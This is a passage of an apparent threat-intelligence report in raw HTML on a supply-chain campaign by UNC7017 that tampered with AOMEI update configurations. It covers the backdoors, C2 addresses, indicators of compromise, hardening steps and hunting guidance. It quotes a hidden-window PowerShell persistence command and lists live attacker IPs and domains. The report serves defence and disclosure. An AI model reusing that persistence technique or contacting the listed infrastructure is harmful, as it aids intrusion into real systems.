&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Analysis of earlier campaign variants revealed that SHINYROAD relies on custom C-level extensions (_pyio_compat, _pyio_struct, and pkpy) to avoid loading standard Python libraries on disk:&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Custom Binary C2 Protocol&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: Earlier variants communicated over raw TCP (&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;8.218.65.184:41397&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;). The agent generates a unique ID by fingerprinting the hostname and username, authenticates via a hard-coded handshake key, and dynamically transitions all subsequent communication to use symmetric encryption derived from this unique ID.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;In-Memory Capabilities&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: The engine supports interactive remote shell access (os.system), traffic chaffing (generating randomized junk packets to disrupt network signatures), and dynamic in-memory extension via the &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;pkpy&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; WorkPool thread manager without writing script modules to disk.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;Post-Exploitation: Nitro PDF Theme &amp;amp; Adaptix C2&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;In mid-July 2026, following the successful deployment of SHINYROAD, telemetry identified later-stage activity where UNC7017 pushed down ADAPTAGENT, the client portion of the Adaptix C2 post-exploitation framework. To blend in or appear as user-downloaded activity, these payloads masqueraded as Nitro PDF promotional and scanning tools (&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;NitroPromotion.exe&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;):&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Persistence:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; The malware installed a scheduled task named &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;\NitroRuntime&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; that executed:&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;pre class="language-markup"&gt;&lt;code&gt;powershell -Command "Start-Process 'C:\Users\&amp;lt;USER&amp;gt;\AppData\Local\Temp\NitroPromotion.exe' -WindowStyle Hidden"&lt;/code&gt;&lt;/pre&gt;
&lt;p style="text-align: center;"&gt;&lt;span style="color: #5f6368; display: block; font-size: 16px; font-style: italic; margin-top: 8px; width: 100%;"&gt;&lt;span style="vertical-align: baseline;"&gt;Figure 6: NitroRuntime scheduled task persistence&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Adaptix C2 Beaconing&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: The executable sideloaded &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;Eztwain4.dll&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; (ADAPTAGENT) from &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;%LOCALAPPDATA%\Nitro Pro\&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;, which established periodic 2-minute beacons to &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;8.210.84.56:6800&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Outlook and Implications&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;This campaign highlights a broader evolution in software supply chain attack methodologies. Supply chain intrusions have historically focused on inserting backdoors into software source code or tampering with developer build pipelines (e.g., &lt;/span&gt;&lt;a href="https://cloud.google.com/blog/topics/threat-intelligence/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;SolarWinds&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, &lt;/span&gt;&lt;a href="https://cloud.google.com/blog/topics/threat-intelligence/3cx-software-supply-chain-compromise"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;3CX&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;). While highly impactful, compromised source trees leave persistent binary signatures in official release files that can be discovered during post-release binary analysis.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;UNC7017's use of ephemeral configuration tampering represents a lower-overhead, higher-stealth alternative:&lt;/span&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Anti-Analysis by Design:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; By restricting configuration changes to five to ten minute windows, the vast majority of legitimate users and automated repository crawlers only encounter authentic, vendor-signed files.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Selective Exploitation&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: Threat actors can selectively compromise target organizations that maintain frequent polling intervals while minimizing their exposure window on vendor infrastructure.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Dual-Pronged Approach&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: Combining software update redirection with invisible WebDAV NTLM coercion could allow adversaries to harvest credentials from passive users even if binary payload execution is blocked.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Co-opting Commercial Software&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: Deploying unmodified versions of legitimate administration tools (such as Radmin 3.x) to masquerade sideloaded covert channels illustrates how adversaries blend commercial remote management capabilities with hidden backdoor modules.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Remediation and Hardening&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Defenders should focus on behavioral profiling of updater processes, specifically monitoring for unsigned child processes spawned by background update runners and unauthorized network redirection originating from trusted desktop software. For broader recommendations on securing software delivery pipelines, please refer to our previously published &lt;/span&gt;&lt;a href="https://cloud.google.com/blog/topics/threat-intelligence/mitigation-guidance-for-supply-chain-compromise"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Mitigation Guidance for Supply Chain Compromise&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;span style="vertical-align: baseline;"&gt;Vendor Notification &amp;amp; Architecture Hardening&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;On July 17, 2026, Mandiant notified AOMEI Technology regarding the observed configuration tampering on their update infrastructure and provided relevant indicators. AOMEI subsequently responded on July 29, 2026, stating that corrective actions had been taken.&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;span style="vertical-align: baseline;"&gt;Why Server-Side Remediation Does Not Disinfect Endpoints&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Crucially, server-side remediation does not clean endpoints that downloaded malicious updates during earlier tampering windows. Because the tampering occurred in brief, short bursts, systems that received these files may remain compromised without the organization's knowledge unless proactive endpoint hunting and remediation are performed.&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Persistent Resident Payloads&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: Endpoints that polled for updates during an active tampering window downloaded and staged persistent payloads (via scheduled tasks) that remain fully operational even after the vendor restores authentic .ini files on the origin servers.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Obscured Root Cause&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: While the subsequent backdoor activity and scheduled tasks generate detectable endpoint telemetry, the ephemeral delivery vector obscures the initial intrusion mechanism. Because server tampering lasted approximately 5 minutes—and the loader actively reverted local configuration files—investigators reviewing vendor update URLs hours later will observe only benign, authentic infrastructure, complicating root cause analysis and patient-zero identification.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Hunting Imperative&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: Organizations running AOMEI software cannot assume they are protected solely because the vendor took corrective server-side action. Enterprise security teams must perform retrospective endpoint and network hunts across the entire April–July time frame using the indicators and YARA rules provided in this post.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;&lt;span style="vertical-align: baseline;"&gt;Guidance for Software Vendors &amp;amp; Developers&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Software supply chain security extends beyond developer workstations and build pipelines. When desktop software relies on remote configuration files to manage update and notification behaviors, adversaries can target the distribution layer rather than the source code. To defend against configuration tampering and distribution-channel hijacking, software vendors should implement the following security controls:&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;End-to-End Cryptographic Signature Verification&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: Client applications must cryptographically verify Authenticode digital signatures and validate vendor certificates on all downloaded executables and archives before extraction or execution. Update clients should never rely solely on transport-layer HTTPS or remote checksums (such as cleartext MD5 values in an unauthenticated configuration file).&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Cryptographically Signed Configuration Files&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: Remote configuration files (.ini, .json, or .xml) should be digitally signed using asymmetric public key cryptography. If an origin server or content delivery network (CDN) is modified without authorization, client software will detect the invalid signature and reject the configuration.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Domain Allowlisting and Destination Pinning&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: Software update clients should enforce strict destination pinning, restricting update downloads exclusively to official, pre-approved vendor domains and CDNs. Update engines should reject redirection to arbitrary third-party domains or generic public cloud storage buckets.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Restricting Uniform Resource Identifier (URI) Schemes in In-App Handlers&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: Embedded web views, promotional popups, and notification handlers should strictly enforce secure web protocols (&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;https://&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;) and explicitly disallow local file (&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;file://&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;) and UNC WebDAV schemes to prevent external NTLM credential coercion.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Decoupling Core Updates from Marketing Channels&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: Separating essential software maintenance routines from dynamic promotional popups and notification banners reduces the attack surface and ensures that advertising channels cannot trigger local code execution.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Origin Integrity Monitoring and Access Controls&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: Origin web servers and object storage buckets hosting update metadata should enforce strict access controls, multi-factor authentication, and automated real-time file integrity monitoring (FIM) with immediate alerting on configuration changes.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;h4&gt;&lt;span style="vertical-align: baseline;"&gt;Guidance for Security Operations (SOC) &amp;amp; Incident Responders&lt;/span&gt;&lt;/h4&gt;
&lt;h4&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;Overcoming the "Point-in-Time" Triage Pitfall&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;The short-burst nature of this attack creates a unique challenge for incident response:&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;The Triage Trap&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: When an EDR alert fires for a suspicious process spawned by an updater, SOC analysts frequently attempt to validate the alert by navigating to the vendor's download URL or checking URL reputation. Because the threat actor reverted the remote configuration files within five to ten minutes, the vendor's server returns authentic, clean files most of the time, leading analysts to mistakenly dismiss the detection as a false positive.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Actionable IR Protocol&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: Defenders must not rely on live web checks. Incident responders must preserve and analyze the endpoint-cached configuration files in &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;%PROGRAMFILES(X86)%\AOMEI\*\Tmphtml\&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; and review proxy/firewall telemetry corresponding to the precise second the alert was triggered.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;Camouflaged Follow-on Activity&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;The deployment of Adaptix C2 under the guise of Nitro PDF can mislead analysts into treating alerts as isolated, user-initiated software downloads rather than staged lateral movement. Responders must trace updater parentage to identify root-cause supply chain tampering.&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;span style="vertical-align: baseline;"&gt;Endpoint and Network Hardening Actions&lt;/span&gt;&lt;/h4&gt;
&lt;h4&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;Endpoint File Checks&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Inspect systems for the following directories and artifacts. Defenders must distinguish between malicious payloads and legitimate signed binaries abused for search-order hijacking:&lt;/span&gt;&lt;/p&gt;
&lt;div align="left"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;&lt;table&gt;&lt;colgroup&gt;&lt;col/&gt;&lt;col/&gt;&lt;col/&gt;&lt;col/&gt;&lt;/colgroup&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;Directory&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;Malicious Artifacts (Primary IOCs)&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;Abused Legitimate / Support Binaries&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;Defender Triage &amp;amp; Hunting Guidance&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: bottom; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;%LOCALAPPDATA%\Radmin\&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;code style="vertical-align: baseline;"&gt;BlkScrDl.dll, csvc\RuntimeComponent.dll, config.zip, metadata.dat&lt;/code&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;code style="vertical-align: baseline;"&gt;FamItrfc.exe, FamItrf2.exe, WinLpcDl.dll, WinLpcDl2.dll&lt;/code&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Do not dismiss if executables are signed: &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;FamItrfc.exe&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; is authentic Famatech software abused to hijack &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;BlkScrDl.dll&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;. Alert on unsigned DLLs and executions with &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;--runtimechk&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;%LOCALAPPDATA%\Nitro Pro\&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;code style="vertical-align: baseline;"&gt;Eztwain4.dll (ADAPTAGENT), NitroPromotion.exe&lt;/code&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;code style="vertical-align: baseline;"&gt;mfc140u.dll &lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;(Microsoft MFC runtime), &lt;code style="vertical-align: baseline;"&gt;Nitro_Scan2PDFApp.exe&lt;/code&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Payloads masquerade as Nitro PDF tools. &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;Eztwain4.dll &lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;is sideloaded by the executables. Look for parent PowerShell processes spawned with &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;-WindowStyle Hidden&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;%TEMP%\&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;code style="vertical-align: baseline;"&gt;svc*.tmp, en\&lt;/code&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;—&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Ephemeral child processes spawned with &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;--nitrod&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; to purge CROSSROAD via NTFS stream overwrites (&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;:wtfbbq&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;).&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;AOMEI Install Paths (&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;Tmphtml\, html\&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;)&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;code style="vertical-align: baseline;"&gt;upgrade-now.zip, upgrade-now.exe&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; (CROSSROAD)&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;code style="vertical-align: baseline;"&gt;down_html.ini, Notifycfg.ini&lt;/code&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Staging location for the AOMEI update flow. Check for unauthorized executable drops in the web UI &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;html\&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; directory.&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p style="text-align: center;"&gt;&lt;span style="vertical-align: baseline; color: #5f6368; display: block; font-size: 16px; font-style: italic; margin-top: 8px; width: 100%;"&gt;Table 1: Endpoint file checks&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;h4&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;Scheduled Tasks and Registry&lt;/span&gt;&lt;/h4&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Scheduled Tasks:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; Check for unauthorized tasks named &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;\NitroRuntime&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; or &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;\RadminComponentRuntime&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Registry:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; Check &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;\REGISTRY\MACHINE\SYSTEM\Software\Microsoft\TIP\AggregateResults\data&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; for unusual binary blobs.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;Network Defenses&lt;/span&gt;&lt;/h4&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Block outbound network connections to &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;promotion.storage-data.com&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;, &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;aomei.storage-data.com&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;, &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;storage-data.com&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;, &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;8.210.84.56&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;, &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;47.239.60.117&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;, and &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;8.218.65.184&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Block outbound SMB (TCP 445) and WebDAV traffic to external IP addresses to prevent NTLM credential coercion.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Inspect proxy and web gateway logs for the User-Agent &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;Anyviewer-loader/1.0&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; or requests to Alibaba Cloud OSS endpoint &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;serv.oss-cn-hongkong.aliyuncs.com&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;&lt;/div&gt;
